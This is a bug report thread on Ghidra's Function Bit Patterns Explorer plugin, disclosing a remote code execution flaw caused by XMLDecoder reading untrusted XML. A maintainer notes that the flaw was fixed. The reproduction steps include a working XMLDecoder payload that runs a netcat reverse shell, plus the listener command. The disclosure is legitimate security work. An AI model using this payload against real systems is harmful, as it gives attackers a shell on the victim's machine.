RCE possible in Function Bit Patterns Explorer Plugin

[purpleracc00n]

Description:
XMLDecoder is used in FileBitPatternInfoReader.java which causes a Remote Code Execution in the Bit Patterns Explorer Plugin.

Steps to reproduce the behavior:
1: Open a binary with CodeBrowser
2. Go to Window->Script Manager and select the "DumpFunctionPatternInfoScript"
3. Export the resulted XML file.
4. Add the following at the end of the file, after the closing tag of the last object and before the </java> closing tag:

<object class="java.lang.Runtime" method="getRuntime"> <void method="exec"> <string>nc 127.0.0.1 1337 -c ’/bin/bash’</string> </void> </object>

5. Open local listening server with : nc -lvnp 1337
6. Go to Window->Function Bit Patterns Explorer (you will need to enable experimental mode from configuration first File->Configure...)
7. In the opened plugin window, click "Read XML Files", point to the directory where the XML file was saved and click OK.
8. Go back to the listener and see the shell opened.

Expected behavior
No code from the xml files should be executed while running this plugin.

Environment:

• OS: Kali Linux x86_64
• Java Version: 11.0.4
• Ghidra Version: 9.0.4

[ryanmkurtz]

Fixed by a17728f

[jzySaber1996]

Hello, we're investigating the issue reports in security. Since we observed that this issue may relate to security, has it been disclosed in CVE already? Thanks for your reply.